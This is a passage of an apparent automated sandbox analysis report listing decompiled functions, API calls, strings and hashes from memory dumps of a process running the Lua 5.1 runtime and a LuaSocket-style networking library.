Instruction Fuzzy Hash: 0BF0657A51D53236B901F2287C02EDF2189CF461F5F150718F934A11EEFB05BA8201EA

Uniqueness

Uniqueness Score: -1.00%

Function 1000F310, Relevance: 9.0, APIs: 6, Instructions: 37COMMON

Download Yara Rule

APIs

lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 1000F321

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_type.LUA5.1(?,000000FF,?,FFFFD8F0,?), ref: 1000F329
lua_settop.LUA5.1(?,000000FE), ref: 1000F33D
lua_createtable.LUA5.1(?,00000000,00000000,?,000000FE), ref: 1000F347
lua_pushvalue.LUA5.1(?,000000FF,?,00000000,00000000,?,000000FE), ref: 1000F34F
lua_setfield.LUA5.1(?,FFFFD8F0,?,?,000000FF,?,00000000,00000000,?,000000FE), ref: 1000F35B

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: S_newlstr.lua_createtable.lua_getfield.lua_pushvalue.lua_setfield.lua_settop.lua_type.
String ID:
API String ID: 1309023193-0
Opcode ID: f8bf732c72701ab3cb6acabffcc9f19b3aa9fba09e19ed965c60beb132ff687d
Instruction ID: cfc6d2e363df59b7b58c6ee9dcece5fe58cf5bf0b6d7dbfd8842f9ef0d253916
Opcode Fuzzy Hash: f8bf732c72701ab3cb6acabffcc9f19b3aa9fba09e19ed965c60beb132ff687d
Instruction Fuzzy Hash: 87E0393A60963135F901A12A7C02FDF22488FC36F0F210725F520B22DAAA44B68242EE

Uniqueness

Uniqueness Score: -1.00%

Function 10010920, Relevance: 9.0, APIs: 6, Instructions: 34COMMON

Download Yara Rule

APIs

luaL_optlstring.LUA5.1(?,00000001,00000000,00000000), ref: 1001092E

Part of subcall function 1000F4E0: lua_type.LUA5.1(?,?,?,?,1000F27E,?,?,?,00000000), ref: 1000F4EC

lua_gettop.LUA5.1(?,?,00000001,00000000,00000000), ref: 10010936
luaL_loadfile.LUA5.1(?,00000000,?,?,00000001,00000000,00000000), ref: 1001093F

Part of subcall function 1000FD30: lua_gettop.LUA5.1(?), ref: 1000FD42
Part of subcall function 1000FD30: lua_pushlstring.LUA5.1(?,=stdin,00000006), ref: 1000FD76
Part of subcall function 1000FD30: getc.MSVCRT(00000000), ref: 1000FD8E
Part of subcall function 1000FD30: getc.MSVCRT(?), ref: 1000FDA5
Part of subcall function 1000FD30: getc.MSVCRT(?), ref: 1000FDB9
Part of subcall function 1000FD30: getc.MSVCRT(?), ref: 1000FDCD
Part of subcall function 1000FD30: fclose.MSVCRT ref: 1000FDF4
Part of subcall function 1000FD30: fopen.MSVCRT ref: 1000FE00

lua_error.LUA5.1(?), ref: 1001094C
lua_call.LUA5.1(?,00000000,000000FF), ref: 10010959
lua_gettop.LUA5.1(?,?,00000000,000000FF), ref: 1001095F

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: getc$lua_gettop.$L_loadfile.L_optlstring.fclosefopenlua_call.lua_error.lua_pushlstring.lua_type.
String ID:
API String ID: 191521372-0
Opcode ID: 198e4eb2da71497eb4ee9c89cc89cd917f467ca40e47ded298f27a066b816a33
Instruction ID: c5097f16452a8b879fee426c183662050945d10c2c3b891539c13d037270f874
Opcode Fuzzy Hash: 198e4eb2da71497eb4ee9c89cc89cd917f467ca40e47ded298f27a066b816a33
Instruction Fuzzy Hash: 30E0487AB1662032F621A1B91C47FDF114DCFC66F8F140525F710B62CBE995B60141FA

Uniqueness

Uniqueness Score: -1.00%

Function 00592F70, Relevance: 9.0, APIs: 6, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00592F70(void* __eax, intOrPtr _a4) {
				intOrPtr _t5;

				_t5 = _a4;
				_push(1);
				_push(_t5);
				L00594B18();
				if(__eax != 0) {
					_push(_t5);
					L00594B60();
					return __eax;
				} else {
					_push(0xffffd8ed);
					_push(_t5);
					L00594B90();
					_push(0);
					_push(0);
					_push(0);
					_push(_t5);
					L00594BAE();
					_push(2);
					_push(_t5);
					L00594AB8();
					E00592FD0(__eax, _t5);
					_push(_t5);
					L00594AEE();
					return 0;
				}
			}

0x00592f71
0x00592f75
0x00592f77
0x00592f78
0x00592f82
0x00592fb6
0x00592fb7
0x00592fc0
0x00592f84
0x00592f84
0x00592f89
0x00592f8a
0x00592f8f
0x00592f91
0x00592f93
0x00592f95
0x00592f96
0x00592f9b
0x00592f9d
0x00592f9e
0x00592fa4
0x00592fa9
0x00592faa
0x00592fb5
0x00592fb5

APIs

lua_toboolean.LUA5.1(?,00000001), ref: 00592F78
lua_pushvalue.LUA5.1(?,FFFFD8ED), ref: 00592F8A
lua_pcall.LUA5.1(?,00000000,00000000,00000000,?,FFFFD8ED), ref: 00592F96
lua_settop.LUA5.1(?,00000002,?,00000000,00000000,00000000,?,FFFFD8ED), ref: 00592F9E

Part of subcall function 00592FD0: lua_createtable.LUA5.1(?,00000000,00000000,?,00592FA9,?,?,00000002,?,00000000,00000000,00000000,?,FFFFD8ED), ref: 00592FDA
Part of subcall function 00592FD0: lua_pushnumber.LUA5.1(?,00000000,3FF00000,?,00000000,00000000,?,00592FA9,?,?,00000002,?,00000000,00000000,00000000,?), ref: 00592FE7
Part of subcall function 00592FD0: lua_pushvalue.LUA5.1(?,000000FD,?,00000000,3FF00000,?,00000000,00000000,?,00592FA9,?,?,00000002,?,00000000,00000000), ref: 00592FEF
Part of subcall function 00592FD0: lua_settable.LUA5.1(?,000000FD,?,000000FD,?,00000000,3FF00000,?,00000000,00000000,?,00592FA9,?,?,00000002,?), ref: 00592FF7
Part of subcall function 00592FD0: lua_insert.LUA5.1(?,000000FE,?,000000FD,?,000000FD,?,00000000,3FF00000,?,00000000,00000000,?,00592FA9,?,?), ref: 00592FFF
Part of subcall function 00592FD0: lua_settop.LUA5.1(?,000000FE,?,000000FE,?,000000FD,?,000000FD,?,00000000,3FF00000,?,00000000,00000000,?,00592FA9), ref: 00593007

lua_error.LUA5.1(?,?,?,00000002,?,00000000,00000000,00000000,?,FFFFD8ED), ref: 00592FAA
lua_gettop.LUA5.1(?), ref: 00592FB7

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushvalue.lua_settop.$lua_createtable.lua_error.lua_gettop.lua_insert.lua_pcall.lua_pushnumber.lua_settable.lua_toboolean.
String ID:
API String ID: 132685617-0
Opcode ID: 2b8c06ec438556d4617b2e4a397e67ba41ce0e7fd8a7ad9ef2ebb17f5a97adc5
Instruction ID: f51dc07a9f378320d5ffdc6ff1f0bd08d5d29a504ce31728f435d9330cc5092c
Opcode Fuzzy Hash: 2b8c06ec438556d4617b2e4a397e67ba41ce0e7fd8a7ad9ef2ebb17f5a97adc5
Instruction Fuzzy Hash: 66E04F72A86A3231ED1172243C0BFCF184E2F92715F150010F90575182E744AE4349EF

Uniqueness

Uniqueness Score: -1.00%

Function 10010AC0, Relevance: 9.0, APIs: 6, Instructions: 29COMMON

Download Yara Rule

APIs

luaL_checkany.LUA5.1(?,00000001), ref: 10010AC8

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

lua_gettop.LUA5.1(?,000000FF,00000000), ref: 10010AD5
lua_pcall.LUA5.1(?,-00000001,00000000), ref: 10010AE0
lua_pushboolean.LUA5.1(?,00000000,?,-00000001,00000000), ref: 10010AEE
lua_insert.LUA5.1(?,00000001,?,00000000,?,-00000001,00000000), ref: 10010AF6
lua_gettop.LUA5.1(?,?,00000001,?,00000000,?,-00000001,00000000), ref: 10010AFC

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_gettop.$L_argerror.L_checkany.lua_insert.lua_pcall.lua_pushboolean.lua_type.
String ID:
API String ID: 3952743895-0
Opcode ID: a1010f6f3a6869adac9ae1bd4224f6108250bab7645d8b46e2eb3363489cdefc
Instruction ID: 0f8f0ae0e5508f88beaffb032e71ad8d705b35c423952fc95e27307fc3d835de
Opcode Fuzzy Hash: a1010f6f3a6869adac9ae1bd4224f6108250bab7645d8b46e2eb3363489cdefc
Instruction Fuzzy Hash: AFE04FB9516A2031F516A2242C03FEF104DCF462D0F040114F911602CAEB85765100EB

Uniqueness

Uniqueness Score: -1.00%

Function 00592FD0, Relevance: 9.0, APIs: 6, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00592FD0(void* __eax, intOrPtr _a4) {
				intOrPtr _t3;

				_t3 = _a4;
				_push(0);
				_push(0);
				_push(_t3);
				L00594ACA();
				_push(0x3ff00000);
				_push(0);
				_push(_t3);
				L00594B5A();
				_push(0xfffffffd);
				_push(_t3);
				L00594B90();
				_push(0xfffffffd);
				_push(_t3);
				L00594B42();
				_push(0xfffffffe);
				_push(_t3);
				L00594BB4();
				_push(0xfffffffe);
				_push(_t3);
				L00594AB8();
				return __eax;
			}

0x00592fd1
0x00592fd5
0x00592fd7
0x00592fd9
0x00592fda
0x00592fdf
0x00592fe4
0x00592fe6
0x00592fe7
0x00592fec
0x00592fee
0x00592fef
0x00592ff4
0x00592ff6
0x00592ff7
0x00592ffc
0x00592ffe
0x00592fff
0x00593004
0x00593006
0x00593007
0x00593010

APIs

lua_createtable.LUA5.1(?,00000000,00000000,?,00592FA9,?,?,00000002,?,00000000,00000000,00000000,?,FFFFD8ED), ref: 00592FDA
lua_pushnumber.LUA5.1(?,00000000,3FF00000,?,00000000,00000000,?,00592FA9,?,?,00000002,?,00000000,00000000,00000000,?), ref: 00592FE7
lua_pushvalue.LUA5.1(?,000000FD,?,00000000,3FF00000,?,00000000,00000000,?,00592FA9,?,?,00000002,?,00000000,00000000), ref: 00592FEF
lua_settable.LUA5.1(?,000000FD,?,000000FD,?,00000000,3FF00000,?,00000000,00000000,?,00592FA9,?,?,00000002,?), ref: 00592FF7
lua_insert.LUA5.1(?,000000FE,?,000000FD,?,000000FD,?,00000000,3FF00000,?,00000000,00000000,?,00592FA9,?,?), ref: 00592FFF
lua_settop.LUA5.1(?,000000FE,?,000000FE,?,000000FD,?,000000FD,?,00000000,3FF00000,?,00000000,00000000,?,00592FA9), ref: 00593007

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_createtable.lua_insert.lua_pushnumber.lua_pushvalue.lua_settable.lua_settop.
String ID:
API String ID: 1542408278-0
Opcode ID: 9a75a7db4fa6a72553e3877a4417746ac3a07eb557aff2437efc4e64d49b8948
Instruction ID: cde6d13061716dd258a6e96d595775977d563472d82184d19570def56992d234
Opcode Fuzzy Hash: 9a75a7db4fa6a72553e3877a4417746ac3a07eb557aff2437efc4e64d49b8948
Instruction Fuzzy Hash: 70E0E22148EA3731DC1236281C0AF8E094E2F87330F340340BA31360E61A48AA0319EE

Uniqueness

Uniqueness Score: -1.00%

Function 10013B80, Relevance: 9.0, APIs: 6, Instructions: 24COMMON

Download Yara Rule

APIs

luaL_optnumber.LUA5.1(?,00000002,00000000,00000000), ref: 10013B8C

Part of subcall function 1000F590: lua_type.LUA5.1(?,?), ref: 1000F59C

_ftol.MSVCRT ref: 10013B94
luaL_checknumber.LUA5.1(?,00000001,00000000), ref: 10013B9D

Part of subcall function 1000F540: lua_tonumber.LUA5.1(?,?), ref: 1000F54F
Part of subcall function 1000F540: lua_isnumber.LUA5.1(?,?), ref: 1000F56C

_ftol.MSVCRT ref: 10013BA5
difftime.MSVCRT ref: 10013BAB
lua_pushnumber.LUA5.1(?,?,00000000), ref: 10013BB5

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: _ftol$L_checknumber.L_optnumber.difftimelua_isnumber.lua_pushnumber.lua_tonumber.lua_type.
String ID:
API String ID: 4224803489-0
Opcode ID: 3670eda97d49acb39907d3fc559a450795f385b7fd3076b83fc2dec503259ce7
Instruction ID: e2e57f985c1257931ee9efb8c31909de6f86976510c2466880577440819b7b26
Opcode Fuzzy Hash: 3670eda97d49acb39907d3fc559a450795f385b7fd3076b83fc2dec503259ce7
Instruction Fuzzy Hash: 92E0C27D95052072F510B7E4BC43FDE3998EF58340F000450F644AA2C3E9B57A9142AB

Uniqueness

Uniqueness Score: -1.00%

Function 10008DD0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 128stringCOMMON

Download Yara Rule

APIs

strncpy.MSVCRT ref: 10008DEA

Strings

[string ", xrefs: 10008E7A
..., xrefs: 10008E27, 10008EAB

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: strncpy
String ID: ...$[string "
API String ID: 3301158039-3942789791
Opcode ID: 294f9360eaa8d470c85cdf5112ff809418cc79305b088d3b56a4f436ae7870df
Instruction ID: f25712540d7e9a0213640851d85c767ea50d68d6f51b6a8a51168d64045b30b8
Opcode Fuzzy Hash: 294f9360eaa8d470c85cdf5112ff809418cc79305b088d3b56a4f436ae7870df
Instruction Fuzzy Hash: 5D3110366005585B97088A3C9CA442B7BD2FFC52B1769832EF96B873D5CE72CD0A8354

Uniqueness

Uniqueness Score: -1.00%

Function 1000CDE0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

luaM_realloc_.LUA5.1(?,00000000,00000000,00000000,?), ref: 1000CE0A
luaM_toobig.LUA5.1(00000001,?), ref: 1000CE17
luaM_realloc_.LUA5.1(?,00000000,00000000,?,?,?,?), ref: 1000CEF1
luaM_toobig.LUA5.1(00000001,?,?,?), ref: 1000CEFE

Strings

bad constant, xrefs: 1000CEB1

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: M_realloc_.M_toobig.
String ID: bad constant
API String ID: 1500966413-3662893336
Opcode ID: 8b7760b9fe3845ffddfaa9a03bd4c0479c81182749d7fd31bf4cd5b61a15518c
Instruction ID: 6cb43979df2f3fc53998aafd48c48e5cd25b5493bfa0d5b01404fcadb7497039
Opcode Fuzzy Hash: 8b7760b9fe3845ffddfaa9a03bd4c0479c81182749d7fd31bf4cd5b61a15518c
Instruction Fuzzy Hash: EB4124F490074A9BF320DF24DC81F1B72A8EB406D4F10492DF89A9728AE731F95087D2

Uniqueness

Uniqueness Score: -1.00%

Function 00591C50, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00591C50(void* __ebx, void* __eflags, void* __fp0, char _a4) {
				intOrPtr* _t11;
				char _t26;
				intOrPtr* _t30;

				_t40 = __fp0;
				_t26 = _a4;
				_t2 = E00591200(_t26, "tcp{server}", 1) + 0x2038; // 0x2038
				_push(E00592DC0(__fp0, _t2));
				_t11 = E00594370(_t8,  &_a4, 0, 0);
				_t29 = _t11;
				if(_t11 != 0) {
					_push(_t26);
					L00594B4E();
					_push(E00594710(_t29));
					_push(_t26);
					L00594AD0();
					return 2;
				} else {
					_push(0x2050);
					_push(_t26);
					L00594B6C();
					_t30 = _t11;
					E005912A0(_t26, "tcp{client}", 0xffffffff);
					E00594660( &_a4);
					_t6 = _t30 + 4; // 0x4
					 *_t30 = _a4;
					E005927D0(_t6, E00594410, E00594520, 0x5947c0, _t30);
					_push(0xbff00000);
					_t7 = _t30 + 0x2038; // 0x2038
					E00592CE0(_t7, 0, 0xbff00000, 0);
					E00592150(_t40, _t30 + 0x18, _t6, _t7);
					return 1;
				}
			}

0x00591c50
0x00591c52
0x00591c65
0x00591c71
0x00591c7c
0x00591c81
0x00591c88
0x00591d02
0x00591d03
0x00591d0e
0x00591d0f
0x00591d10
0x00591d1f
0x00591c8a
0x00591c8b
0x00591c90
0x00591c91
0x00591c9e
0x00591ca0
0x00591caa
0x00591cb9
0x00591cc7
0x00591cc9
0x00591cce
0x00591cd5
0x00591ce3
0x00591cf1
0x00591d01
0x00591d01

APIs

Part of subcall function 00591200: sprintf.MSVCRT ref: 0059122F
Part of subcall function 00591200: luaL_argerror.LUA5.1(?,?,?), ref: 0059123C

lua_newuserdata.LUA5.1(?,00002050), ref: 00591C91

Part of subcall function 005912A0: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 005912B0
Part of subcall function 005912A0: lua_setmetatable.LUA5.1(?,?), ref: 005912C3

Part of subcall function 00594660: ioctlsocket.WSOCK32(?,8004667E,00000000), ref: 0059467A

lua_pushnil.LUA5.1(?), ref: 00591D03
lua_pushstring.LUA5.1(?,00000000,00000000,?), ref: 00591D10

Strings

tcp{client}, xrefs: 00591C98
tcp{server}, xrefs: 00591C58

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.ioctlsocketlua_getfield.lua_newuserdata.lua_pushnil.lua_pushstring.lua_setmetatable.sprintf
String ID: tcp{client}$tcp{server}
API String ID: 3293237012-1113314389
Opcode ID: f3f6c0a70f2b454e0091a631666076d5ac2084bab5bc1a815f12890bc2625640
Instruction ID: e448429c4c4ab0bdfed9fa74242d7623384b3d7cd6a32f81db3c9e47785110cf
Opcode Fuzzy Hash: f3f6c0a70f2b454e0091a631666076d5ac2084bab5bc1a815f12890bc2625640
Instruction Fuzzy Hash: 6711C47254131136DE207274AC4BFAF6AACAFC5B64F000918F505B7183D764AD4786F9

Uniqueness

Uniqueness Score: -1.00%

Function 1000F260, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

luaL_optlstring.LUA5.1(?,?,?,00000000), ref: 1000F279

Part of subcall function 1000F4E0: lua_type.LUA5.1(?,?,?,?,1000F27E,?,?,?,00000000), ref: 1000F4EC

luaL_checklstring.LUA5.1(?,?,00000000), ref: 1000F28D
lua_pushfstring.LUA5.1(?,invalid option '%s',00000000), ref: 1000F2EA
luaL_argerror.LUA5.1(?,?,00000000,?,invalid option '%s',00000000), ref: 1000F2F6

Strings

invalid option '%s', xrefs: 1000F2E4

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checklstring.L_optlstring.lua_pushfstring.lua_type.
String ID: invalid option '%s'
API String ID: 2385555857-1300740539
Opcode ID: cb907abaa636c6781e8aa6eedbfe5edc0f7c855e6b1a4d0a2f37be797e5c6cb9
Instruction ID: e3b858a0a18c552b09e056aabe7f9d64cb8fa4d24156ac953f1d4731c024262a
Opcode Fuzzy Hash: cb907abaa636c6781e8aa6eedbfe5edc0f7c855e6b1a4d0a2f37be797e5c6cb9
Instruction Fuzzy Hash: 94112B7EA091422BF704CD648851A7B77DAEFC61D4F1A015CFD8587606D622EC0593D2

Uniqueness

Uniqueness Score: -1.00%

Function 00593880, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00593880(void* __eflags, long long __fp0, char _a4) {
				intOrPtr _v4;
				intOrPtr _v8;
				char _v12;
				void* _t13;
				void* _t18;
				char _t23;
				void* _t26;

				_t23 = _a4;
				_t21 = E00591200(_t23, "udp{connected}", 1);
				_push( &_v12);
				_push(2);
				_push(_t23);
				_t3 = _t21 + 8; // 0x8
				_t18 = _t3;
				_a4 = 0;
				L00594B54();
				E00592DC0(__fp0, _t18);
				_push(_t18);
				_t13 = E00594410(_t10,  &_v12, _v12,  &_a4);
				_t22 = _t13;
				_t26 =  &_v12 + 0x30;
				if(_t13 == 0) {
					_v4 = 0;
					_v8 = _a4;
					asm("fild qword [esp+0x1c]");
					 *((long long*)(_t26 - 8)) = __fp0;
					_push(_t23);
					L00594B5A();
					return 1;
				} else {
					_push(_t23);
					L00594B4E();
					_push(E00593860(_t22));
					_push(_t23);
					L00594AD0();
					return 2;
				}
			}

0x00593886
0x00593898
0x0059389e
0x0059389f
0x005938a1
0x005938a2
0x005938a2
0x005938a5
0x005938ad
0x005938b5
0x005938c2
0x005938c7
0x005938cc
0x005938ce
0x005938d3
0x005938fc
0x00593904
0x0059390b
0x0059390f
0x00593912
0x00593913
0x00593927
0x005938d5
0x005938d5
0x005938d6
0x005938e1
0x005938e2
0x005938e3
0x005938f7
0x005938f7

APIs

Part of subcall function 00591200: sprintf.MSVCRT ref: 0059122F
Part of subcall function 00591200: luaL_argerror.LUA5.1(?,?,?), ref: 0059123C

luaL_checklstring.LUA5.1 ref: 005938AD
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,udp{connected},00000001), ref: 005938D6
lua_pushstring.LUA5.1(?,00000000,00000000,?,?,?,?,?,?,?,udp{connected},00000001), ref: 005938E3
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,udp{connected},00000001), ref: 00593913

Strings

udp{connected}, xrefs: 0059388D

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checklstring.lua_pushnil.lua_pushnumber.lua_pushstring.sprintf
String ID: udp{connected}
API String ID: 3330160982-744045061
Opcode ID: f2a049a42efde90d351e1f8621cb4b414bcf76957c8abca8ffba9ccba652082d
Instruction ID: f113dd3b7d72513050b37c34c68de8f7c37910376261a5ef71c60a53410f661f
Opcode Fuzzy Hash: f2a049a42efde90d351e1f8621cb4b414bcf76957c8abca8ffba9ccba652082d
Instruction Fuzzy Hash: 3C01E9711042056ADB00BA14AC86F6FBB9CFFC5354F000528F85453201E6399E0F46F3

Uniqueness

Uniqueness Score: -1.00%

Function 00592E40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00592E40(char* __eax, long long __fp0, intOrPtr _a4, long long* _a8) {
				long long _v8;
				void* _t10;
				void* _t12;
				intOrPtr _t16;
				void* _t18;

				_t16 = _a4;
				_push(0xbff00000);
				_push(0);
				_push(2);
				_push(_t16);
				L00594B72();
				_v8 = __fp0;
				_push(0);
				_push("b");
				_push(3);
				_push(_t16);
				L00594B78();
				_t18 =  &_v8 + 0x20;
				_t10 =  *__eax - 0x62;
				if(_t10 == 0) {
					 *_a8 = _v8;
				} else {
					_t12 = _t10 - 0x10;
					if(_t12 == 0 || _t12 == 2) {
						 *((long long*)(_a8 + 8)) = _v8;
					} else {
						_push("invalid timeout mode");
						_push(3);
						_push(_t16);
						L00594B2A();
						_t18 = _t18 + 0xc;
					}
				}
				_push(0x3ff00000);
				_push(0);
				_push(_t16);
				L00594B5A();
				return 1;
			}

0x00592e44
0x00592e48
0x00592e4d
0x00592e4f
0x00592e51
0x00592e52
0x00592e57
0x00592e5b
0x00592e5d
0x00592e62
0x00592e64
0x00592e65
0x00592e6d
0x00592e70
0x00592e73
0x00592ea6
0x00592e75
0x00592e75
0x00592e78
0x00592e99
0x00592e7f
0x00592e7f
0x00592e84
0x00592e86
0x00592e87
0x00592e8c
0x00592e8c
0x00592e78
0x00592ea8
0x00592ead
0x00592eaf
0x00592eb0
0x00592ec1

APIs

luaL_optnumber.LUA5.1(?,00000002,00000000,BFF00000,?), ref: 00592E52
luaL_optlstring.LUA5.1(?,00000003,005964E0,00000000,?,00000002,00000000,BFF00000,?), ref: 00592E65
luaL_argerror.LUA5.1(?,00000003,invalid timeout mode,?,?,?,?,?,?,?,?), ref: 00592E87
lua_pushnumber.LUA5.1(?,00000000,3FF00000,?,?,?,?,?,?,?,?), ref: 00592EB0

Strings

invalid timeout mode, xrefs: 00592E7F

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_optlstring.L_optnumber.lua_pushnumber.
String ID: invalid timeout mode
API String ID: 625380743-4138997160
Opcode ID: 6057aa88d2a590164f720230dd1c5af0beca49ad08cac334c2849d360b712007
Instruction ID: 02ce8e98e132c5a37b78b1c5a0ab0c30fe0a6a2e87754da2e4553184f2883bfb
Opcode Fuzzy Hash: 6057aa88d2a590164f720230dd1c5af0beca49ad08cac334c2849d360b712007
Instruction Fuzzy Hash: FDF0CD3114460173DF25AE186DCBF6E3E597F85B01F540844F584391D0D661DE19865B

Uniqueness

Uniqueness Score: -1.00%

Function 1000F1C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

lua_getstack.LUA5.1(?,?,?,?), ref: 1000F1D3
lua_getinfo.LUA5.1(?,10019AE8,?,?,?,?), ref: 1000F1EA

Part of subcall function 10004130: strchr.MSVCRT ref: 1000417D
Part of subcall function 10004130: luaD_growstack.LUA5.1(?,00000001), ref: 100041B2
Part of subcall function 10004130: strchr.MSVCRT ref: 100041C1

lua_pushfstring.LUA5.1(?,%s:%d: ,?,?,?,?,?,?,?,?), ref: 1000F206
lua_pushlstring.LUA5.1(?,1001AB10,00000000,?,?,?), ref: 1000F21B

Strings

%s:%d: , xrefs: 1000F200

Memory Dump Source

